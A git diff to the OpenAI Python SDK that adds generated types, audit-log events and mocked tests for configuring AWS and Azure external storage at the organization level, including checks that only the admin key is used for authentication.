diff --git a/src/openai/types/admin/organization/__init__.py b/src/openai/types/admin/organization/__init__.py
index 9dc7700603..20101b841e 100644
--- a/src/openai/types/admin/organization/__init__.py
+++ b/src/openai/types/admin/organization/__init__.py
@@ -38,6 +38,7 @@
from .certificate_list_params import CertificateListParams as CertificateListParams
from .spend_alert_list_params import SpendAlertListParams as SpendAlertListParams
from .usage_embeddings_params import UsageEmbeddingsParams as UsageEmbeddingsParams
+from .external_storage_deleted import ExternalStorageDeleted as ExternalStorageDeleted
from .organization_spend_alert import OrganizationSpendAlert as OrganizationSpendAlert
from .organization_spend_limit import OrganizationSpendLimit as OrganizationSpendLimit
from .usage_completions_params import UsageCompletionsParams as UsageCompletionsParams
@@ -60,14 +61,19 @@
from .organization_data_retention import OrganizationDataRetention as OrganizationDataRetention
from .usage_audio_speeches_params import UsageAudioSpeechesParams as UsageAudioSpeechesParams
from .data_retention_update_params import DataRetentionUpdateParams as DataRetentionUpdateParams
+from .external_storage_list_params import ExternalStorageListParams as ExternalStorageListParams
from .usage_vector_stores_response import UsageVectorStoresResponse as UsageVectorStoresResponse
from .admin_api_key_create_response import AdminAPIKeyCreateResponse as AdminAPIKeyCreateResponse
from .admin_api_key_delete_response import AdminAPIKeyDeleteResponse as AdminAPIKeyDeleteResponse
+from .aws_external_storage_provider import AwsExternalStorageProvider as AwsExternalStorageProvider
from .certificate_activate_response import CertificateActivateResponse as CertificateActivateResponse
from .certificate_deactivate_params import CertificateDeactivateParams as CertificateDeactivateParams
from .usage_audio_speeches_response import UsageAudioSpeechesResponse as UsageAudioSpeechesResponse
from .usage_web_search_calls_params import UsageWebSearchCallsParams as UsageWebSearchCallsParams
+from .external_storage_configuration import ExternalStorageConfiguration as ExternalStorageConfiguration
+from .external_storage_create_params import ExternalStorageCreateParams as ExternalStorageCreateParams
from .usage_file_search_calls_params import UsageFileSearchCallsParams as UsageFileSearchCallsParams
+from .azure_external_storage_provider import AzureExternalStorageProvider as AzureExternalStorageProvider
from .certificate_deactivate_response import CertificateDeactivateResponse as CertificateDeactivateResponse
from .usage_web_search_calls_response import UsageWebSearchCallsResponse as UsageWebSearchCallsResponse
from .organization_spend_alert_deleted import OrganizationSpendAlertDeleted as OrganizationSpendAlertDeleted
diff --git a/src/openai/types/admin/organization/audit_log_list_params.py b/src/openai/types/admin/organization/audit_log_list_params.py
index 2e36fd4423..260d8da764 100644
--- a/src/openai/types/admin/organization/audit_log_list_params.py
+++ b/src/openai/types/admin/organization/audit_log_list_params.py
@@ -55,6 +55,8 @@ class AuditLogListParams(TypedDict, total=False):
"checkpoint.permission.deleted",
"external_key.registered",
"external_key.removed",
+ "external_storage.registered",
+ "external_storage.removed",
"group.created",
"group.updated",
"group.deleted",
diff --git a/src/openai/types/admin/organization/audit_log_list_response.py b/src/openai/types/admin/organization/audit_log_list_response.py
index c78aaf27bd..c7406ed84f 100644
--- a/src/openai/types/admin/organization/audit_log_list_response.py
+++ b/src/openai/types/admin/organization/audit_log_list_response.py
@@ -1,11 +1,14 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from typing import List, Optional
-from typing_extensions import Literal
+from typing import List, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
from pydantic import Field as FieldInfo
+from ...._utils import PropertyInfo
from ...._models import BaseModel
+from .aws_external_storage_provider import AwsExternalStorageProvider
+from .azure_external_storage_provider import AzureExternalStorageProvider
__all__ = [
"AuditLogListResponse",
@@ -32,6 +35,10 @@
"CheckpointPermissionDeleted",
"ExternalKeyRegistered",
"ExternalKeyRemoved",
+ "ExternalStorageRegistered",
+ "ExternalStorageRegisteredData",
+ "ExternalStorageRegisteredDataProvider",
+ "ExternalStorageRemoved",
"GroupCreated",
"GroupCreatedData",
"GroupDeleted",
@@ -305,6 +312,38 @@ class ExternalKeyRemoved(BaseModel):
"""The ID of the external key configuration."""
+ExternalStorageRegisteredDataProvider: TypeAlias = Annotated[
+ Union[AwsExternalStorageProvider, AzureExternalStorageProvider], PropertyInfo(discriminator="type")
+]
+
+
+class ExternalStorageRegisteredData(BaseModel):
+ """The configuration for the external storage."""
+
+ geography: Optional[str] = None
+ """The OpenAI geography derived from the storage region."""
+
+ provider: Optional[ExternalStorageRegisteredDataProvider] = None
+ """The external storage provider configuration."""
+
+
+class ExternalStorageRegistered(BaseModel):
+ """The details for events with this `type`."""
+
+ id: Optional[str] = None
+ """The ID of the external storage configuration."""
+
+ data: Optional[ExternalStorageRegisteredData] = None
+ """The configuration for the external storage."""
+
+
+class ExternalStorageRemoved(BaseModel):
+ """The details for events with this `type`."""
+
+ id: Optional[str] = None
+ """The ID of the external storage configuration."""
+
+
class GroupCreatedData(BaseModel):
"""Information about the created group."""
@@ -990,6 +1029,8 @@ class AuditLogListResponse(BaseModel):
"checkpoint.permission.deleted",
"external_key.registered",
"external_key.removed",
+ "external_storage.registered",
+ "external_storage.removed",
"group.created",
"group.updated",
"group.deleted",
@@ -1176,6 +1217,16 @@ class AuditLogListResponse(BaseModel):
external_key_removed: Optional[ExternalKeyRemoved] = FieldInfo(alias="external_key.removed", default=None)
"""The details for events with this `type`."""
+ external_storage_registered: Optional[ExternalStorageRegistered] = FieldInfo(
+ alias="external_storage.registered", default=None
+ )
+ """The details for events with this `type`."""
+
+ external_storage_removed: Optional[ExternalStorageRemoved] = FieldInfo(
+ alias="external_storage.removed", default=None
+ )
+ """The details for events with this `type`."""
+
group_created: Optional[GroupCreated] = FieldInfo(alias="group.created", default=None)
"""The details for events with this `type`."""
diff --git a/src/openai/types/admin/organization/aws_external_storage_provider.py b/src/openai/types/admin/organization/aws_external_storage_provider.py
new file mode 100644
index 0000000000..c034d0b1c6
--- /dev/null
+++ b/src/openai/types/admin/organization/aws_external_storage_provider.py
@@ -0,0 +1,21 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ...._models import BaseModel
+
+__all__ = ["AwsExternalStorageProvider"]
+
+
+class AwsExternalStorageProvider(BaseModel):
+ account_id: str
+
+ bucket: str
+
+ external_id: str
+
+ region: str
+
+ role_arn: str
+
+ type: Literal["aws"]
diff --git a/src/openai/types/admin/organization/azure_external_storage_provider.py b/src/openai/types/admin/organization/azure_external_storage_provider.py
new file mode 100644
index 0000000000..3d814159a8
--- /dev/null
+++ b/src/openai/types/admin/organization/azure_external_storage_provider.py
@@ -0,0 +1,23 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ...._models import BaseModel
+
+__all__ = ["AzureExternalStorageProvider"]
+
+
+class AzureExternalStorageProvider(BaseModel):
+ account_name: str
+
+ container: str
+
+ region: str
+
+ resource_group: str
+
+ subscription_id: str
+
+ tenant_id: str
+
+ type: Literal["azure"]
diff --git a/src/openai/types/admin/organization/external_storage_configuration.py b/src/openai/types/admin/organization/external_storage_configuration.py
new file mode 100644
index 0000000000..f5ad1e56d7
--- /dev/null
+++ b/src/openai/types/admin/organization/external_storage_configuration.py
@@ -0,0 +1,31 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ...._utils import PropertyInfo
+from ...._models import BaseModel
+from .aws_external_storage_provider import AwsExternalStorageProvider
+from .azure_external_storage_provider import AzureExternalStorageProvider
+
+__all__ = ["ExternalStorageConfiguration", "Provider"]
+
+Provider: TypeAlias = Annotated[
+ Union[AwsExternalStorageProvider, AzureExternalStorageProvider], PropertyInfo(discriminator="type")
+]
+
+
+class ExternalStorageConfiguration(BaseModel):
+ id: str
+
+ created_at: int
+
+ geography: str
+
+ object: Literal["organization.external_storage"]
+
+ project_id: str
+
+ provider: Provider
+
+ status: Literal["pending", "validated", "unhealthy"]
diff --git a/src/openai/types/admin/organization/external_storage_create_params.py b/src/openai/types/admin/organization/external_storage_create_params.py
new file mode 100644
index 0000000000..f459e588b0
--- /dev/null
+++ b/src/openai/types/admin/organization/external_storage_create_params.py
@@ -0,0 +1,39 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+__all__ = ["ExternalStorageCreateParams", "Provider", "ProviderAws", "ProviderAzure"]
+
+
+class ExternalStorageCreateParams(TypedDict, total=False):
+ project_id: Required[str]
+
+ provider: Required[Provider]
+
+
+class ProviderAws(TypedDict, total=False):
+ bucket: Required[str]
+
+ role_arn: Required[str]
+
+ type: Required[Literal["aws"]]
+
+
+class ProviderAzure(TypedDict, total=False):
+ account_name: Required[str]
+
+ container: Required[str]
+
+ resource_group: Required[str]
+
+ subscription_id: Required[str]
+
+ tenant_id: Required[str]
+
+ type: Required[Literal["azure"]]
+
+
+Provider: TypeAlias = Union[ProviderAws, ProviderAzure]
diff --git a/src/openai/types/admin/organization/external_storage_deleted.py b/src/openai/types/admin/organization/external_storage_deleted.py
new file mode 100644
index 0000000000..fe732848a2
--- /dev/null
+++ b/src/openai/types/admin/organization/external_storage_deleted.py
@@ -0,0 +1,15 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ...._models import BaseModel
+
+__all__ = ["ExternalStorageDeleted"]
+
+
+class ExternalStorageDeleted(BaseModel):
+ id: str
+
+ deleted: bool
+
+ object: Literal["organization.external_storage.deleted"]
diff --git a/src/openai/types/admin/organization/external_storage_list_params.py b/src/openai/types/admin/organization/external_storage_list_params.py
new file mode 100644
index 0000000000..05a0b369b7
--- /dev/null
+++ b/src/openai/types/admin/organization/external_storage_list_params.py
@@ -0,0 +1,19 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, TypedDict
+
+__all__ = ["ExternalStorageListParams"]
+
+
+class ExternalStorageListParams(TypedDict, total=False):
+ after: Optional[str]
+ """Return external storage configurations after this ID."""
+
+ limit: int
+
+ order: Literal["asc", "desc"]
+
+ project_id: Optional[str]
diff --git a/tests/api_resources/admin/organization/test_external_storage.py b/tests/api_resources/admin/organization/test_external_storage.py
new file mode 100644
index 0000000000..eeb0e60feb
--- /dev/null
+++ b/tests/api_resources/admin/organization/test_external_storage.py
@@ -0,0 +1,418 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.pagination import SyncCursorPage, AsyncCursorPage
+from openai.types.admin.organization import (
+ ExternalStorageDeleted,
+ ExternalStorageConfiguration,
+)
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestExternalStorage:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_create(self, client: OpenAI) -> None:
+ external_storage = client.admin.organization.external_storage.create(
+ project_id="proj_123",
+ provider={
+ "bucket": "bucket",
+ "role_arn": "role_arn",
+ "type": "aws",
+ },
+ )
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ @parametrize
+ def test_raw_response_create(self, client: OpenAI) -> None:
+ response = client.admin.organization.external_storage.with_raw_response.create(
+ project_id="proj_123",
+ provider={
+ "bucket": "bucket",
+ "role_arn": "role_arn",
+ "type": "aws",
+ },
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ external_storage = response.parse()
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ @parametrize
+ def test_streaming_response_create(self, client: OpenAI) -> None:
+ with client.admin.organization.external_storage.with_streaming_response.create(
+ project_id="proj_123",
+ provider={
+ "bucket": "bucket",
+ "role_arn": "role_arn",
+ "type": "aws",
+ },
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ external_storage = response.parse()
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_method_retrieve(self, client: OpenAI) -> None:
+ external_storage = client.admin.organization.external_storage.retrieve(
+ "extstorage_123",
+ )
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ @parametrize
+ def test_raw_response_retrieve(self, client: OpenAI) -> None:
+ response = client.admin.organization.external_storage.with_raw_response.retrieve(
+ "extstorage_123",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ external_storage = response.parse()
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ @parametrize
+ def test_streaming_response_retrieve(self, client: OpenAI) -> None:
+ with client.admin.organization.external_storage.with_streaming_response.retrieve(
+ "extstorage_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ external_storage = response.parse()
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_retrieve(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `external_storage_id` but received ''"):
+ client.admin.organization.external_storage.with_raw_response.retrieve(
+ "",
+ )
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ external_storage = client.admin.organization.external_storage.list()
+ assert_matches_type(SyncCursorPage[ExternalStorageConfiguration], external_storage, path=["response"])
+
+ @parametrize
+ def test_method_list_with_all_params(self, client: OpenAI) -> None:
+ external_storage = client.admin.organization.external_storage.list(
+ after="after",
+ limit=1,
+ order="asc",
+ project_id="proj_123",
+ )
+ assert_matches_type(SyncCursorPage[ExternalStorageConfiguration], external_storage, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.admin.organization.external_storage.with_raw_response.list()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ external_storage = response.parse()
+ assert_matches_type(SyncCursorPage[ExternalStorageConfiguration], external_storage, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.admin.organization.external_storage.with_streaming_response.list() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ external_storage = response.parse()
+ assert_matches_type(SyncCursorPage[ExternalStorageConfiguration], external_storage, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_method_delete(self, client: OpenAI) -> None:
+ external_storage = client.admin.organization.external_storage.delete(
+ "extstorage_123",
+ )
+ assert_matches_type(ExternalStorageDeleted, external_storage, path=["response"])
+
+ @parametrize
+ def test_raw_response_delete(self, client: OpenAI) -> None:
+ response = client.admin.organization.external_storage.with_raw_response.delete(
+ "extstorage_123",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ external_storage = response.parse()
+ assert_matches_type(ExternalStorageDeleted, external_storage, path=["response"])
+
+ @parametrize
+ def test_streaming_response_delete(self, client: OpenAI) -> None:
+ with client.admin.organization.external_storage.with_streaming_response.delete(
+ "extstorage_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ external_storage = response.parse()
+ assert_matches_type(ExternalStorageDeleted, external_storage, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_delete(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `external_storage_id` but received ''"):
+ client.admin.organization.external_storage.with_raw_response.delete(
+ "",
+ )
+
+ @parametrize
+ def test_method_validate(self, client: OpenAI) -> None:
+ external_storage = client.admin.organization.external_storage.validate(
+ "extstorage_123",
+ )
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ @parametrize
+ def test_raw_response_validate(self, client: OpenAI) -> None:
+ response = client.admin.organization.external_storage.with_raw_response.validate(
+ "extstorage_123",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ external_storage = response.parse()
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ @parametrize
+ def test_streaming_response_validate(self, client: OpenAI) -> None:
+ with client.admin.organization.external_storage.with_streaming_response.validate(
+ "extstorage_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ external_storage = response.parse()
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_validate(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `external_storage_id` but received ''"):
+ client.admin.organization.external_storage.with_raw_response.validate(
+ "",
+ )
+
+
+class TestAsyncExternalStorage:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_create(self, async_client: AsyncOpenAI) -> None:
+ external_storage = await async_client.admin.organization.external_storage.create(
+ project_id="proj_123",
+ provider={
+ "bucket": "bucket",
+ "role_arn": "role_arn",
+ "type": "aws",
+ },
+ )
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ @parametrize
+ async def test_raw_response_create(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.admin.organization.external_storage.with_raw_response.create(
+ project_id="proj_123",
+ provider={
+ "bucket": "bucket",
+ "role_arn": "role_arn",
+ "type": "aws",
+ },
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ external_storage = response.parse()
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_create(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.admin.organization.external_storage.with_streaming_response.create(
+ project_id="proj_123",
+ provider={
+ "bucket": "bucket",
+ "role_arn": "role_arn",
+ "type": "aws",
+ },
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ external_storage = await response.parse()
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
+ external_storage = await async_client.admin.organization.external_storage.retrieve(
+ "extstorage_123",
+ )
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ @parametrize
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.admin.organization.external_storage.with_raw_response.retrieve(
+ "extstorage_123",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ external_storage = response.parse()
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.admin.organization.external_storage.with_streaming_response.retrieve(
+ "extstorage_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ external_storage = await response.parse()
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `external_storage_id` but received ''"):
+ await async_client.admin.organization.external_storage.with_raw_response.retrieve(
+ "",
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ external_storage = await async_client.admin.organization.external_storage.list()
+ assert_matches_type(AsyncCursorPage[ExternalStorageConfiguration], external_storage, path=["response"])
+
+ @parametrize
+ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ external_storage = await async_client.admin.organization.external_storage.list(
+ after="after",
+ limit=1,
+ order="asc",
+ project_id="proj_123",
+ )
+ assert_matches_type(AsyncCursorPage[ExternalStorageConfiguration], external_storage, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.admin.organization.external_storage.with_raw_response.list()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ external_storage = response.parse()
+ assert_matches_type(AsyncCursorPage[ExternalStorageConfiguration], external_storage, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.admin.organization.external_storage.with_streaming_response.list() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ external_storage = await response.parse()
+ assert_matches_type(AsyncCursorPage[ExternalStorageConfiguration], external_storage, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_method_delete(self, async_client: AsyncOpenAI) -> None:
+ external_storage = await async_client.admin.organization.external_storage.delete(
+ "extstorage_123",
+ )
+ assert_matches_type(ExternalStorageDeleted, external_storage, path=["response"])
+
+ @parametrize
+ async def test_raw_response_delete(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.admin.organization.external_storage.with_raw_response.delete(
+ "extstorage_123",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ external_storage = response.parse()
+ assert_matches_type(ExternalStorageDeleted, external_storage, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_delete(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.admin.organization.external_storage.with_streaming_response.delete(
+ "extstorage_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ external_storage = await response.parse()
+ assert_matches_type(ExternalStorageDeleted, external_storage, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_delete(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `external_storage_id` but received ''"):
+ await async_client.admin.organization.external_storage.with_raw_response.delete(
+ "",
+ )
+
+ @parametrize
+ async def test_method_validate(self, async_client: AsyncOpenAI) -> None:
+ external_storage = await async_client.admin.organization.external_storage.validate(
+ "extstorage_123",
+ )
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ @parametrize
+ async def test_raw_response_validate(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.admin.organization.external_storage.with_raw_response.validate(
+ "extstorage_123",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ external_storage = response.parse()
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_validate(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.admin.organization.external_storage.with_streaming_response.validate(
+ "extstorage_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ external_storage = await response.parse()
+ assert_matches_type(ExternalStorageConfiguration, external_storage, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_validate(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `external_storage_id` but received ''"):
+ await async_client.admin.organization.external_storage.with_raw_response.validate(
+ "",
+ )
diff --git a/tests/test_external_storage.py b/tests/test_external_storage.py
new file mode 100644
index 0000000000..5070d20af2
--- /dev/null
+++ b/tests/test_external_storage.py
@@ -0,0 +1,180 @@
+from __future__ import annotations
+
+import json
+from typing import cast
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.respx2 import MockRouter
+from tests.respx2.models import Call
+from openai.types.admin.organization import ExternalStorageConfiguration
+from openai.types.admin.organization.external_storage_create_params import Provider
+
+BASE_URL = "https://example.com/v1"
+PROVIDERS: list[tuple[Provider, dict[str, object]]] = [
+ (
+ {"type": "aws", "bucket": "test-bucket", "role_arn": "arn:aws:iam::000000000000:role/test"},
+ {
+ "type": "aws",
+ "bucket": "test-bucket",
+ "role_arn": "arn:aws:iam::000000000000:role/test",
+ "account_id": "000000000000",
+ "region": "us-east-1",
+ "external_id": "test-external-id",
+ "future_provider_field": {"retained": True},
+ },
+ ),
+ (
+ {
+ "type": "azure",
+ "tenant_id": "test-tenant",
+ "subscription_id": "test-subscription",
+ "resource_group": "test-group",
+ "account_name": "test-account",
+ "container": "test-container",
+ },
+ {
+ "type": "azure",
+ "tenant_id": "test-tenant",
+ "subscription_id": "test-subscription",
+ "resource_group": "test-group",
+ "account_name": "test-account",
+ "container": "test-container",
+ "region": "eastus",
+ "future_provider_field": {"retained": True},
+ },
+ ),
+]
+
+
+def configuration(provider: dict[str, object], storage_id: str = "extstorage_test") -> dict[str, object]:
+ return {
+ "id": storage_id,
+ "object": "organization.external_storage",
+ "project_id": "proj_test",
+ "provider": provider,
+ "geography": "US",
+ "status": "validated",
+ "created_at": 123,
+ "future_configuration_field": {"retained": True},
+ }
+
+
+@pytest.mark.respx2(base_url=BASE_URL)
+@pytest.mark.parametrize("provider,response_provider", PROVIDERS, ids=["aws", "azure"])
+def test_sync_external_storage_provider_and_admin_auth(
+ provider: Provider, response_provider: dict[str, object], respx2_mock: MockRouter
+) -> None:
+ payload = configuration(response_provider)
+ route = respx2_mock.post("/organization/external_storage").mock(return_value=httpx2.Response(200, json=payload))
+ with OpenAI(
+ base_url=BASE_URL,
+ api_key="test-project-key",
+ admin_api_key="test-admin-key",
+ _strict_response_validation=True,
+ ) as client:
+ result = client.admin.organization.external_storage.create(project_id="proj_test", provider=provider)
+
+ assert isinstance(result, ExternalStorageConfiguration)
+ assert result.to_dict() == payload
+ request = route.calls.last.request
+ assert request.headers["Authorization"] == "Bearer test-admin-key"
+ assert json.loads(request.content) == {"project_id": "proj_test", "provider": provider}
+
+
+@pytest.mark.respx2(base_url=BASE_URL)
+@pytest.mark.parametrize("provider,response_provider", PROVIDERS, ids=["aws", "azure"])
+async def test_async_external_storage_provider_and_admin_auth(
+ provider: Provider, response_provider: dict[str, object], respx2_mock: MockRouter
+) -> None:
+ payload = configuration(response_provider)
+ route = respx2_mock.post("/organization/external_storage").mock(return_value=httpx2.Response(200, json=payload))
+ async with AsyncOpenAI(
+ base_url=BASE_URL,
+ api_key="test-project-key",
+ admin_api_key="test-admin-key",
+ _strict_response_validation=True,
+ ) as client:
+ result = await client.admin.organization.external_storage.create(project_id="proj_test", provider=provider)
+
+ assert isinstance(result, ExternalStorageConfiguration)
+ assert result.to_dict() == payload
+ request = route.calls.last.request
+ assert request.headers["Authorization"] == "Bearer test-admin-key"
+ assert json.loads(request.content) == {"project_id": "proj_test", "provider": provider}
+
+
+def mock_pages(respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/organization/external_storage").mock(
+ side_effect=[
+ httpx2.Response(
+ 200,
+ json={
+ "object": "list",
+ "data": [configuration(PROVIDERS[0][1], storage_id)],
+ "first_id": storage_id,
+ "last_id": storage_id,
+ "has_more": has_more,
+ },
+ )
+ for storage_id, has_more in [("extstorage_first", True), ("extstorage_last", False)]
+ ]
+ )
+
+
+def assert_pagination_requests(respx2_mock: MockRouter) -> None:
+ calls = cast("list[Call]", respx2_mock.calls)
+ assert [dict(call.request.url.params) for call in calls] == [
+ {"project_id": "proj_test", "order": "desc", "limit": "1"},
+ {"project_id": "proj_test", "order": "desc", "limit": "1", "after": "extstorage_first"},
+ ]
+ assert all(call.request.headers["Authorization"] == "Bearer test-admin-key" for call in calls)
+
+
+@pytest.mark.respx2(base_url=BASE_URL)
+def test_sync_external_storage_pagination_preserves_filters_and_admin_auth(respx2_mock: MockRouter) -> None:
+ mock_pages(respx2_mock)
+ with OpenAI(base_url=BASE_URL, api_key="test-project-key", admin_api_key="test-admin-key") as client:
+ items = list(client.admin.organization.external_storage.list(project_id="proj_test", order="desc", limit=1))
+
+ assert [item.id for item in items] == ["extstorage_first", "extstorage_last"]
+ assert_pagination_requests(respx2_mock)
+
+
+@pytest.mark.respx2(base_url=BASE_URL)
+async def test_async_external_storage_pagination_preserves_filters_and_admin_auth(respx2_mock: MockRouter) -> None:
+ mock_pages(respx2_mock)
+ async with AsyncOpenAI(base_url=BASE_URL, api_key="test-project-key", admin_api_key="test-admin-key") as client:
+ items = [
+ item
+ async for item in client.admin.organization.external_storage.list(
+ project_id="proj_test", order="desc", limit=1
+ )
+ ]
+
+ assert [item.id for item in items] == ["extstorage_first", "extstorage_last"]
+ assert_pagination_requests(respx2_mock)
+
+
+@pytest.mark.respx2(base_url=BASE_URL)
+def test_sync_external_storage_never_falls_back_to_project_key(
+ monkeypatch: pytest.MonkeyPatch, respx2_mock: MockRouter
+) -> None:
+ monkeypatch.delenv("OPENAI_ADMIN_KEY", raising=False)
+ with OpenAI(base_url=BASE_URL, api_key="test-project-key", admin_api_key=None) as client:
+ with pytest.raises(TypeError, match="Could not resolve authentication method"):
+ client.admin.organization.external_storage.retrieve("extstorage_test")
+ assert len(respx2_mock.calls) == 0
+
+
+@pytest.mark.respx2(base_url=BASE_URL)
+async def test_async_external_storage_never_falls_back_to_project_key(
+ monkeypatch: pytest.MonkeyPatch, respx2_mock: MockRouter
+) -> None:
+ monkeypatch.delenv("OPENAI_ADMIN_KEY", raising=False)
+ async with AsyncOpenAI(base_url=BASE_URL, api_key="test-project-key", admin_api_key=None) as client:
